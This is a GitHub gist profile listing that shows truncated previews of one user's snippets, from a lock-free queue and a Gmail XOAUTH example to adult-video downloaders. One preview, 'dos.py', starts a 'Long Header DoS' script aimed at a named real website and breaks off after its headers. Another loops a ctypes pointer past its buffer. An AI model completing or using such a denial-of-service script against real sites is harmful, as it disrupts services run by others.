Skip to content

Instantly share code, notes, and snippets.

View mopemope's full-sized avatar
🏠
Working from home

Yutaka Matsubara mopemope

🏠
Working from home
View GitHub Profile
import ctypes
i = ctypes.c_char('a')
j = ctypes.pointer(i)
c = 0
while True:
j[c] = 'a'
c += 1
j
@mopemope
mopemope / dos.py
Created February 16, 2011 04:02
Long Header DoS
import httplib, urllib
import threading
def long_header_dos():
print "start "
params = urllib.urlencode({'spam': "1" * 1 })
headers = {
"Host": "www.greplin.com",
"User-Agent": "Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.2.7) Gecko/20100715 Ubuntu/10.04 (lucid) Firefox/3.6.7",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
@mopemope
mopemope / gmail.py
Created February 17, 2011 07:08
use XOAUTH example
import imaplib
import base64
import email
import re
from email import header as _header
#patch
ecre = re.compile(r'''
=\? # literal =?
/* ragel so_tag.rl && gcc so_tag.c -o so_tag */
#include <stdio.h>
#include <string.h>
static char *text_start;
%%{
machine parser;
action MarkStart { text_start = fpc; }
@mopemope
mopemope / msqueue.c
Created March 8, 2011 02:11
lock free queue example
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <pthread.h>
#include <sys/time.h>
typedef struct pointer {
struct node *ptr;
uint32_t count;
} pointer_t;
@mopemope
mopemope / eroproxy.py
Created March 8, 2011 09:37
logging proxy server
from twisted.web import proxy, http
from twisted.internet import reactor
import re
import psyco
psyco.full()
store_type = ['text/html', 'json']
ignore_host = []
tube8_re = re.compile("^http://www.tube8.com/[a-z]+/[\w\d.:_-]+/\d{3,6}/", re.M)
@mopemope
mopemope / url.txt
Created March 10, 2011 04:32
url list
http://cdn.empflix.com/empdl/d29f2311843c72780ad8-1/Mosaic_Piss_yuka_oosawa.flv?key=8fa0e37f680e62d3579d96c3274079d8
http://cdn.empflix.com/empdl/858c18d5c651050719f0-1/Sexy_Ama_Pounded.flv?key=e741ade50feb139b12c57bffa6763987
http://cdn.empflix.com/empdl/605dfc50baa51b31effd-1/Cute_Asian_BAbe_Fuck.flv?key=f25080803340946f7fb282acc03080cf
http://cdn.empflix.com/empdl/977907b56b9a90093e97-1/Asian_Threesome.flv?key=7fcef68f682b8f7a54a904e76ec6da6e
http://cdn.empflix.com/empdl/1a2aa44ffb151a48bd75-1/Japanese_Slut_mm1072.flv?key=87a1a5a8f353282878a8d44085123c99
http://cdn.empflix.com/empdl/debe86816c0ad3284c5e-1/Japanese_Slut_mm1073.flv?key=c374497de560db995b9bca16736f1c19
http://cdn.empflix.com/empdl/16882324be00e8e2035e-1/Japanese_Slut_mm723.flv?key=b6c2cdb343590ac94d36d4735a98d072
http://cdn.empflix.com/empdl/659cf8e96e0415fdd704-1/Japanese_Slut_mm1096.flv?key=bbc8318ab6a38dabea4280d37fbbf3a6
http://cdn.empflix.com/empdl/74a676be999c39472933-1/Japanese_Slut_m174.flv?key=41b31a254cffeddf68767a4fbfb703d7
http://
@mopemope
mopemope / xhamster.py
Created March 29, 2011 03:41
xhamster video downloader
from os import path
from werkzeug import secure_filename
import eventlet
from eventlet.green import urllib2
from pyquery import PyQuery as pq
from urlparse import urlparse
import psyco
psyco.full()
search_urls = [
@mopemope
mopemope / torumemo.py
Created April 4, 2011 07:55
torumemo plugin
from plugpy.ext.skype import SkypePlugin, MissingPlugin
from eventlet.green import urllib2
from pyquery import PyQuery as pq
import random
archive_url = "http://oldriver.org/torumemo/archive.html"
base_url = "http://oldriver.org/torumemo/"
def memo_list():
urls = []
#!/usr/bin/env python
import itertools
import mimetools
import mimetypes
from cStringIO import StringIO
import urllib
import urllib2
import gtk